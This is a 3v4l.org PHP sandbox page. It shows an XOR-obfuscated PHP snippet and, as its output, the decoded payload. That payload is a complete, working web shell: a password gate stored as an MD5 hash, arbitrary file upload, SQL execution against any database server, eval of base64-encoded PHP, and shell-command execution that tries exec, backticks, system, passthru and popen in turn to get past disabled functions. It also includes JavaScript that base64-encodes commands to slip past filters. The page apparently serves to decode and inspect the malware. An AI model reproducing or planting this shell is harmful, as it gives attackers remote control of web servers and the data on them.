3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $k=143; $m=explode(";","234;253;253;224;253;208;253;234;255;224;253;251;230;225;232;167;202;208;202;221;221;192;221;175;243;175;202;208;216;206;221;193;198;193;200;175;243;175;202;208;223;206;221;220;202;166;180;130;133;230;225;230;208;252;234;251;167;168;235;230;252;255;227;238;246;208;234;253;253;224;253;252;168;163;175;173;191;173;166;180;130;133;130;133;230;233;175;167;171;208;223;192;220;219;212;173;255;173;210;175;174;178;175;173;173;166;175;244;130;133;134;171;208;204;192;192;196;198;202;212;173;255;173;210;175;178;175;171;208;223;192;220;219;212;173;255;173;210;180;130;133;134;252;234;251;236;224;224;228;230;234;167;173;255;173;163;175;171;208;223;192;220;219;212;173;255;173;210;163;175;251;230;226;234;167;166;175;164;175;188;185;191;191;166;180;130;133;242;130;133;130;133;230;233;175;167;226;235;186;167;171;208;204;192;192;196;198;202;212;173;255;173;210;166;175;174;178;175;173;236;238;188;233;184;190;184;238;186;234;186;188;233;187;236;234;187;184;237;182;191;185;189;236;233;237;233;237;189;187;186;183;173;166;175;244;130;133;134;234;236;231;224;175;173;179;233;224;253;226;175;226;234;251;231;224;235;178;255;224;252;251;177;173;180;130;133;134;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;251;234;247;251;175;225;238;226;234;178;255;175;249;238;227;250;234;178;168;168;175;252;230;245;234;178;186;191;177;173;180;130;133;134;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;252;250;237;226;230;251;175;225;238;226;234;178;205;208;220;218;205;194;198;219;175;249;238;227;250;234;178;168;204;231;234;236;228;168;177;173;180;130;133;134;234;236;231;224;175;173;179;160;233;224;253;226;177;173;180;130;133;134;234;247;230;251;180;130;133;242;130;133;130;133;230;233;175;167;171;208;223;192;220;219;212;173;238;236;251;230;224;225;173;210;175;178;178;175;173;250;255;227;224;238;235;173;166;175;244;130;133;130;133;175;175;175;175;171;227;178;171;208;201;198;195;202;220;212;173;233;230;227;234;255;238;251;231;173;210;212;173;251;226;255;208;225;238;226;234;173;210;180;130;133;175;175;175;175;171;225;234;248;255;238;251;231;178;171;208;223;192;220;219;212;173;225;234;248;255;238;251;231;173;210;180;130;133;175;175;175;175;230;233;175;167;171;225;234;248;255;238;251;231;174;178;173;173;166;175;226;224;249;234;208;250;255;227;224;238;235;234;235;208;233;230;227;234;167;171;227;163;171;225;234;248;255;238;251;231;166;180;130;133;175;175;175;175;234;236;231;224;175;173;235;224;225;234;173;180;130;133;130;133;242;175;234;227;252;234;175;230;233;175;167;171;208;223;192;220;219;212;173;238;236;251;230;224;225;173;210;175;178;178;175;173;252;254;227;173;166;175;244;130;133;130;133;175;175;175;175;171;254;250;234;253;246;175;178;175;171;208;223;192;220;219;212;173;254;250;234;253;246;173;210;180;130;133;175;175;175;175;171;254;250;234;253;246;175;178;175;252;251;253;208;253;234;255;227;238;236;234;167;173;211;168;173;163;173;168;173;163;171;254;250;234;253;246;166;180;130;133;175;175;175;175;171;227;225;228;175;178;175;226;246;252;254;227;208;236;224;225;225;234;236;251;167;171;208;223;192;220;219;212;173;252;234;253;249;234;253;173;210;163;175;171;208;223;192;220;219;212;173;250;252;234;253;173;210;163;175;171;208;223;192;220;219;212;173;255;238;252;252;173;210;166;175;224;253;175;235;230;234;175;167;168;193;224;251;175;236;224;225;225;234;236;251;234;235;175;181;175;168;175;161;175;226;246;252;254;227;208;234;253;253;224;253;167;166;166;180;130;133;175;175;175;175;226;246;252;254;227;208;252;234;227;234;236;251;208;235;237;167;171;208;223;192;220;219;212;173;235;237;173;210;163;175;171;227;225;228;166;175;224;253;175;235;230;234;175;167;168;203;237;175;233;238;230;227;234;235;181;175;168;175;161;175;226;246;252;254;227;208;234;253;253;224;253;167;166;166;180;130;133;175;175;175;175;226;246;252;254;227;208;254;250;234;253;246;167;171;254;250;234;253;246;163;175;171;227;225;228;166;175;224;253;175;235;230;234;175;167;168;198;225;249;238;227;230;235;175;254;250;234;253;246;181;175;168;175;161;175;226;246;252;254;227;208;234;253;253;224;253;167;166;166;180;130;133;175;175;175;175;226;246;252;254;227;208;236;227;224;252;234;167;171;227;225;228;166;180;130;133;175;175;175;175;234;236;231;224;175;173;235;224;225;234;179;237;253;177;179;255;253;234;177;171;254;250;234;253;246;179;160;255;253;234;177;173;180;130;133;130;133;242;175;234;227;252;234;175;230;233;175;167;171;208;223;192;220;219;212;173;238;236;251;230;224;225;173;210;175;178;178;175;173;253;250;225;255;231;255;173;166;175;244;130;133;130;133;175;175;175;175;234;249;238;227;167;237;238;252;234;185;187;208;235;234;236;224;235;234;167;171;208;223;192;220;219;212;173;236;226;235;173;210;166;166;180;130;133;130;133;242;175;234;227;252;234;175;244;130;133;130;133;175;175;175;175;171;235;230;252;238;237;227;234;233;250;225;236;175;178;175;207;230;225;230;208;232;234;251;167;173;235;230;252;238;237;227;234;208;233;250;225;236;251;230;224;225;252;173;166;180;130;133;175;175;175;175;230;233;175;167;174;234;226;255;251;246;167;171;235;230;252;238;237;227;234;233;250;225;236;166;166;175;244;130;133;175;175;175;175;175;175;175;175;171;235;230;252;238;237;227;234;233;250;225;236;175;178;175;252;251;253;208;253;234;255;227;238;236;234;167;173;175;173;163;173;173;163;171;235;230;252;238;237;227;234;233;250;225;236;166;180;130;133;175;175;175;175;175;175;175;175;171;235;230;252;238;237;227;234;233;250;225;236;175;178;175;234;247;255;227;224;235;234;167;173;163;173;163;171;235;230;252;238;237;227;234;233;250;225;236;166;180;130;133;175;175;175;175;242;175;234;227;252;234;175;171;235;230;252;238;237;227;234;233;250;225;236;175;178;175;238;253;253;238;246;167;166;180;130;133;130;133;175;175;175;175;233;250;225;236;251;230;224;225;175;226;246;252;231;234;227;227;234;247;234;236;167;171;236;226;235;166;175;244;130;133;175;175;175;175;175;175;175;175;232;227;224;237;238;227;175;171;235;230;252;238;237;227;234;233;250;225;236;180;130;133;175;175;175;175;175;175;175;175;171;253;234;252;250;227;251;175;178;175;173;173;180;130;133;175;175;175;175;175;175;175;175;230;233;175;167;174;234;226;255;251;246;167;171;236;226;235;166;166;175;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;230;233;175;167;230;252;208;236;238;227;227;238;237;227;234;167;173;234;247;234;236;173;166;175;238;225;235;175;174;207;230;225;208;238;253;253;238;246;167;173;234;247;234;236;173;163;171;235;230;252;238;237;227;234;233;250;225;236;166;166;175;244;207;234;247;234;236;167;171;236;226;235;163;171;253;234;252;250;227;251;166;180;175;171;253;234;252;250;227;251;175;178;175;207;229;224;230;225;167;173;211;225;173;163;171;253;234;252;250;227;251;166;180;242;130;133;175;175;175;175;175;175;175;175;175;175;175;175;234;227;252;234;230;233;175;167;167;171;253;234;252;250;227;251;175;178;175;239;171;236;226;235;239;166;175;174;178;178;175;201;206;195;220;202;166;175;244;242;130;133;175;175;175;175;175;175;175;175;175;175;175;175;234;227;252;234;230;233;175;167;230;252;208;236;238;227;227;238;237;227;234;167;173;252;246;252;251;234;226;173;166;175;238;225;235;175;174;207;230;225;208;238;253;253;238;246;167;173;252;246;252;251;234;226;173;163;171;235;230;252;238;237;227;234;233;250;225;236;166;166;175;244;171;249;175;178;175;207;224;237;208;232;234;251;208;236;224;225;251;234;225;251;252;167;166;180;175;207;224;237;208;236;227;234;238;225;167;166;180;175;207;252;246;252;251;234;226;167;171;236;226;235;166;180;175;171;253;234;252;250;227;251;175;178;175;207;224;237;208;232;234;251;208;236;224;225;251;234;225;251;252;167;166;180;175;207;224;237;208;236;227;234;238;225;167;166;180;175;234;236;231;224;175;171;249;180;242;130;133;175;175;175;175;175;175;175;175;175;175;175;175;234;227;252;234;230;233;175;167;230;252;208;236;238;227;227;238;237;227;234;167;173;255;238;252;252;251;231;253;250;173;166;175;238;225;235;175;174;207;230;225;208;238;253;253;238;246;167;173;255;238;252;252;251;231;253;250;173;163;171;235;230;252;238;237;227;234;233;250;225;236;166;166;175;244;171;249;175;178;175;207;224;237;208;232;234;251;208;236;224;225;251;234;225;251;252;167;166;180;175;207;224;237;208;236;227;234;238;225;167;166;180;175;207;255;238;252;252;251;231;253;250;167;171;236;226;235;166;180;175;171;253;234;252;250;227;251;175;178;175;207;224;237;208;232;234;251;208;236;224;225;251;234;225;251;252;167;166;180;175;207;224;237;208;236;227;234;238;225;167;166;180;175;234;236;231;224;175;171;249;180;242;130;133;175;175;175;175;175;175;175;175;175;175;175;175;234;227;252;234;230;233;175;167;230;252;208;253;234;252;224;250;253;236;234;167;171;233;255;175;178;175;207;255;224;255;234;225;167;171;236;226;235;163;173;253;173;166;166;166;175;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;171;253;234;252;250;227;251;175;178;175;173;173;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;248;231;230;227;234;167;174;233;234;224;233;167;171;233;255;166;166;175;244;171;253;234;252;250;227;251;175;161;178;175;207;233;253;234;238;235;167;171;233;255;163;190;191;189;187;166;180;242;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;207;255;236;227;224;252;234;167;171;233;255;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;242;130;133;175;175;175;175;175;175;175;175;242;130;133;175;175;175;175;175;175;175;175;253;234;251;250;253;225;175;171;253;234;252;250;227;251;180;130;133;175;175;175;175;242;130;133;134;171;236;226;235;175;178;175;252;251;253;230;255;252;227;238;252;231;234;252;167;171;208;223;192;220;219;212;173;236;226;235;173;210;166;180;130;133;134;171;236;226;235;208;234;225;236;175;178;175;252;251;253;230;255;252;227;238;252;231;234;252;167;171;208;223;192;220;219;212;173;236;226;235;208;234;225;236;173;210;166;180;130;133;134;230;233;175;167;171;208;223;192;220;219;212;173;234;225;236;173;210;178;178;190;166;244;130;133;134;134;171;236;226;235;178;237;238;252;234;185;187;208;235;234;236;224;235;234;167;171;236;226;235;208;234;225;236;166;180;130;133;134;242;130;133;134;176;177;130;133;179;252;236;253;230;255;251;175;227;238;225;232;250;238;232;234;178;229;238;249;238;252;236;253;230;255;251;175;251;246;255;234;178;173;251;234;247;251;160;229;238;249;238;252;236;253;230;255;251;173;177;130;133;179;174;162;162;130;133;249;238;253;175;202;193;203;208;192;201;208;198;193;223;218;219;175;178;175;162;190;180;130;133;249;238;253;175;237;238;252;234;185;187;204;231;238;253;252;175;178;175;225;234;248;175;206;253;253;238;246;167;168;206;168;163;168;205;168;163;168;204;168;163;168;203;168;163;168;202;168;163;168;201;168;163;168;200;168;163;168;199;168;163;168;198;168;163;168;197;168;163;168;196;168;163;168;195;168;163;168;194;168;163;168;193;168;163;168;192;168;163;168;223;168;163;168;222;168;163;168;221;168;163;168;220;168;163;168;219;168;163;168;218;168;163;168;217;168;163;168;216;168;163;168;215;168;163;168;214;168;163;168;213;168;163;168;238;168;163;168;237;168;163;168;236;168;163;168;235;168;163;168;234;168;163;168;233;168;163;168;232;168;163;168;231;168;163;168;230;168;163;168;229;168;163;168;228;168;163;168;227;168;163;168;226;168;163;168;225;168;163;168;224;168;163;168;255;168;163;168;254;168;163;168;253;168;163;168;252;168;163;168;251;168;163;168;250;168;163;168;249;168;163;168;248;168;163;168;247;168;163;168;246;168;163;168;245;168;163;168;191;168;163;168;190;168;163;168;189;168;163;168;188;168;163;168;187;168;163;168;186;168;163;168;185;168;163;168;184;168;163;168;183;168;163;168;182;168;163;168;164;168;163;168;160;168;166;180;130;133;249;238;253;175;253;234;249;234;253;252;234;205;238;252;234;185;187;204;231;238;253;252;175;178;175;225;234;248;175;206;253;253;238;246;167;166;180;130;133;233;224;253;175;167;249;238;253;175;230;178;191;180;175;230;175;179;175;237;238;252;234;185;187;204;231;238;253;252;161;227;234;225;232;251;231;180;175;230;164;164;166;244;130;133;175;175;175;175;253;234;249;234;253;252;234;205;238;252;234;185;187;204;231;238;253;252;212;237;238;252;234;185;187;204;231;238;253;252;212;230;210;210;175;178;175;230;180;130;133;242;130;133;249;238;253;175;237;238;252;234;185;187;220;251;253;180;130;133;249;238;253;175;237;238;252;234;185;187;204;224;250;225;251;180;130;133;233;250;225;236;251;230;224;225;175;252;234;251;205;238;252;234;185;187;220;251;253;167;252;251;253;166;244;130;133;175;175;175;175;237;238;252;234;185;187;220;251;253;175;178;175;252;251;253;180;130;133;175;175;175;175;237;238;252;234;185;187;204;224;250;225;251;175;178;175;191;180;130;133;242;130;133;233;250;225;236;251;230;224;225;175;253;234;238;235;205;238;252;234;185;187;167;166;244;175;175;175;175;130;133;175;175;175;175;230;233;175;167;174;237;238;252;234;185;187;220;251;253;166;175;253;234;251;250;253;225;175;202;193;203;208;192;201;208;198;193;223;218;219;180;130;133;175;175;175;175;230;233;175;167;237;238;252;234;185;187;204;224;250;225;251;175;177;178;175;237;238;252;234;185;187;220;251;253;161;227;234;225;232;251;231;166;175;253;234;251;250;253;225;175;202;193;203;208;192;201;208;198;193;223;218;219;180;130;133;175;175;175;175;249;238;253;175;236;175;178;175;237;238;252;234;185;187;220;251;253;161;236;231;238;253;204;224;235;234;206;251;167;237;238;252;234;185;187;204;224;250;225;251;166;175;169;175;191;247;233;233;180;130;133;175;175;175;175;237;238;252;234;185;187;204;224;250;225;251;164;164;180;130;133;175;175;175;175;253;234;251;250;253;225;175;236;180;130;133;242;130;133;233;250;225;236;251;230;224;225;175;234;225;236;224;235;234;205;238;252;234;185;187;167;252;251;253;166;244;130;133;175;175;175;175;252;234;251;205;238;252;234;185;187;220;251;253;167;252;251;253;166;180;130;133;175;175;175;175;249;238;253;175;253;234;252;250;227;251;175;178;175;168;168;180;130;133;175;175;175;175;249;238;253;175;230;225;205;250;233;233;234;253;175;178;175;225;234;248;175;206;253;253;238;246;167;188;166;180;130;133;175;175;175;175;249;238;253;175;227;230;225;234;204;224;250;225;251;175;178;175;191;180;130;133;175;175;175;175;249;238;253;175;235;224;225;234;175;178;175;233;238;227;252;234;180;130;133;175;175;175;175;248;231;230;227;234;175;167;174;235;224;225;234;175;169;169;175;167;230;225;205;250;233;233;234;253;212;191;210;175;178;175;253;234;238;235;205;238;252;234;185;187;167;166;166;175;174;178;175;202;193;203;208;192;201;208;198;193;223;218;219;166;244;130;133;175;175;175;175;175;175;175;175;230;225;205;250;233;233;234;253;212;190;210;175;178;175;253;234;238;235;205;238;252;234;185;187;167;166;180;130;133;175;175;175;175;175;175;175;175;230;225;205;250;233;233;234;253;212;189;210;175;178;175;253;234;238;235;205;238;252;234;185;187;167;166;180;130;133;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;212;175;230;225;205;250;233;233;234;253;212;191;210;175;177;177;175;189;175;210;166;180;130;133;175;175;175;175;175;175;175;175;230;233;175;167;230;225;205;250;233;233;234;253;212;190;210;175;174;178;175;202;193;203;208;192;201;208;198;193;223;218;219;166;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;175;212;167;167;175;230;225;205;250;233;233;234;253;212;191;210;175;179;179;175;187;175;166;175;169;175;191;247;188;191;166;175;243;175;167;230;225;205;250;233;233;234;253;212;190;210;175;177;177;175;187;166;175;210;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;230;233;175;167;230;225;205;250;233;233;234;253;212;189;210;175;174;178;175;202;193;203;208;192;201;208;198;193;223;218;219;166;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;175;212;167;167;230;225;205;250;233;233;234;253;212;190;210;175;179;179;175;189;166;175;169;175;191;247;188;236;166;175;243;175;167;230;225;205;250;233;233;234;253;212;189;210;175;177;177;175;185;166;175;210;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;175;212;230;225;205;250;233;233;234;253;212;189;210;175;169;175;191;247;188;201;210;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;242;175;234;227;252;234;175;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;175;212;167;167;230;225;205;250;233;233;234;253;212;190;210;175;179;179;175;189;166;175;169;175;191;247;188;236;166;210;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;168;178;168;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;175;235;224;225;234;175;178;175;251;253;250;234;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;242;130;133;175;175;175;175;175;175;175;175;242;175;234;227;252;234;175;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;237;238;252;234;185;187;204;231;238;253;252;175;212;167;167;175;230;225;205;250;233;233;234;253;212;191;210;175;179;179;175;187;175;166;175;169;175;191;247;188;191;166;210;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;168;178;168;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;168;178;168;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;235;224;225;234;175;178;175;251;253;250;234;180;130;133;175;175;175;175;175;175;175;175;242;130;133;175;175;175;175;175;175;175;175;227;230;225;234;204;224;250;225;251;175;164;178;175;187;180;130;133;175;175;175;175;175;175;175;175;230;233;175;167;227;230;225;234;204;224;250;225;251;175;177;178;175;184;185;166;244;130;133;175;175;175;175;175;175;175;175;175;175;175;175;253;234;252;250;227;251;175;164;178;175;167;168;211;225;168;166;180;130;133;175;175;175;175;175;175;175;175;175;175;175;175;227;230;225;234;204;224;250;225;251;175;178;175;191;180;130;133;175;175;175;175;175;175;175;175;242;130;133;175;175;175;175;242;130;133;175;175;175;175;253;234;251;250;253;225;175;253;234;252;250;227;251;180;130;133;242;130;133;233;250;225;236;251;230;224;225;175;234;225;236;224;235;234;198;251;167;233;166;244;130;133;134;227;178;234;225;236;224;235;234;205;238;252;234;185;187;167;233;161;236;226;235;161;249;238;227;250;234;166;180;130;133;134;233;161;236;226;235;208;234;225;236;161;249;238;227;250;234;178;227;180;130;133;134;233;161;236;226;235;161;249;238;227;250;234;178;173;173;180;130;133;134;233;161;234;225;236;161;249;238;227;250;234;178;190;180;130;133;134;233;161;252;250;237;226;230;251;167;166;180;130;133;242;130;133;160;160;162;162;177;179;160;252;236;253;230;255;251;177;130;133;134;179;176;130;133;175;175;175;175;130;133;175;175;175;175;234;236;231;224;175;173;179;233;224;253;226;175;226;234;251;231;224;235;178;255;224;252;251;175;238;236;251;230;224;225;178;168;168;175;224;225;220;250;237;226;230;251;178;168;234;225;236;224;235;234;198;251;167;251;231;230;252;166;180;253;234;251;250;253;225;175;233;238;227;252;234;180;168;177;173;180;130;133;175;175;175;175;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;251;234;247;251;175;225;238;226;234;178;236;226;235;175;249;238;227;250;234;178;211;173;173;161;252;251;253;208;253;234;255;227;238;236;234;167;173;211;173;173;163;173;169;254;250;224;251;180;173;163;171;236;226;235;166;161;173;211;173;175;252;230;245;234;178;190;186;191;177;173;180;130;133;175;175;175;175;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;231;230;235;235;234;225;175;225;238;226;234;178;234;225;236;175;249;238;227;250;234;178;168;191;168;177;173;180;130;133;175;175;175;175;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;231;230;235;235;234;225;175;225;238;226;234;178;236;226;235;208;234;225;236;175;249;238;227;250;234;178;168;168;177;173;180;130;133;175;175;175;175;234;236;231;224;175;173;179;230;225;255;250;251;175;251;246;255;234;178;252;250;237;226;230;251;175;225;238;226;234;178;205;208;220;218;205;194;198;219;175;249;238;227;250;234;178;168;200;224;168;177;173;180;130;133;175;175;175;175;234;236;231;224;175;173;179;160;233;224;253;226;177;173;180;130;133;175;175;175;175;230;233;175;167;171;236;226;235;175;174;178;175;173;173;166;175;244;130;133;175;175;175;175;175;175;175;175;234;236;231;224;175;173;179;255;253;234;177;173;180;130;133;175;175;175;175;175;175;175;175;171;236;226;235;178;252;251;253;230;255;252;227;238;252;231;234;252;167;171;236;226;235;166;180;130;133;175;175;175;175;175;175;175;175;234;236;231;224;175;173;202;247;234;236;250;251;230;225;232;175;171;236;226;235;175;211;225;173;180;130;133;175;175;175;175;175;175;175;175;234;236;231;224;175;226;246;252;231;234;227;227;234;247;234;236;167;173;171;236;226;235;173;166;180;130;133;175;175;175;175;175;175;175;175;234;236;231;224;175;173;179;160;255;253;234;177;173;180;130;133;175;175;175;175;175;175;175;175;234;247;230;251;180;130;133;175;175;175;175;242;130;133;242;175;");$z="";foreach($m as $v)if ($v!="")$z.=chr($v^$k); var_dump($z);
Output for 5.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
string(5245) "error_reporting(E_ERROR | E_WARNING | E_PARSE); ini_set('display_errors', "0"); if ($_POST["p"] != "") { $_COOKIE["p"] = $_POST["p"]; setcookie("p", $_POST["p"], time() + 3600); } if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") { echo "<form method=post>"; echo "<input type=text name=p value='' size=50>"; echo "<input type=submit name=B_SUBMIT value='Check'>"; echo "</form>"; exit; } if ($_POST["action"] == "upload") { $l=$_FILES["filepath"]["tmp_name"]; $newpath=$_POST["newpath"]; if ($newpath!="") move_uploaded_file($l,$newpath); echo "done"; } else if ($_POST["action"] == "sql") { $query = $_POST["query"]; $query = str_replace("\'","'",$query); $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error()); mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error()); mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error()); mysql_close($lnk); echo "done<br><pre>$query</pre>"; } else if ($_POST["action"] == "runphp") { eval(base64_decode($_POST["cmd"])); } else { $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } else $disablefunc = array(); function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = @popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= @fread($fp,1024);} @pclose($fp); } } return $result; } $cmd = stripslashes($_POST["cmd"]); $cmd_enc = stripslashes($_POST["cmd_enc"]); if ($_POST["enc"]==1){ $cmd=base64_decode($cmd_enc); } ?> <script language=javascript type="text/javascript"> <!-- var END_OF_INPUT = -1; var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'); var reverseBase64Chars = new Array(); for (var i=0; i < base64Chars.length; i++){ reverseBase64Chars[base64Chars[i]] = i; } var base64Str; var base64Count; function setBase64Str(str){ base64Str = str; base64Count = 0; } function readBase64(){ if (!base64Str) return END_OF_INPUT; if (base64Count >= base64Str.length) return END_OF_INPUT; var c = base64Str.charCodeAt(base64Count) & 0xff; base64Count++; return c; } function encodeBase64(str){ setBase64Str(str); var result = ''; var inBuffer = new Array(3); var lineCount = 0; var done = false; while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){ inBuffer[1] = readBase64(); inBuffer[2] = readBase64(); result += (base64Chars[ inBuffer[0] >> 2 ]); if (inBuffer[1] != END_OF_INPUT){ result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]); if (inBuffer[2] != END_OF_INPUT){ result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]); result += (base64Chars [inBuffer[2] & 0x3F]); } else { result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]); result += ('='); done = true; } } else { result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); result += ('='); result += ('='); done = true; } lineCount += 4; if (lineCount >= 76){ result += ('\n'); lineCount = 0; } } return result; } function encodeIt(f){ l=encodeBase64(f.cmd.value); f.cmd_enc.value=l; f.cmd.value=""; f.enc.value=1; f.submit(); } //--></script> <? echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>"; echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>"; echo "<input type=hidden name=enc value='0'>"; echo "<input type=hidden name=cmd_enc value=''>"; echo "<input type=submit name=B_SUBMIT value='Go'>"; echo "</form>"; if ($cmd != "") { echo "<pre>"; $cmd=stripslashes($cmd); echo "Executing $cmd \n"; echo myshellexec("$cmd"); echo "</pre>"; exit; } } "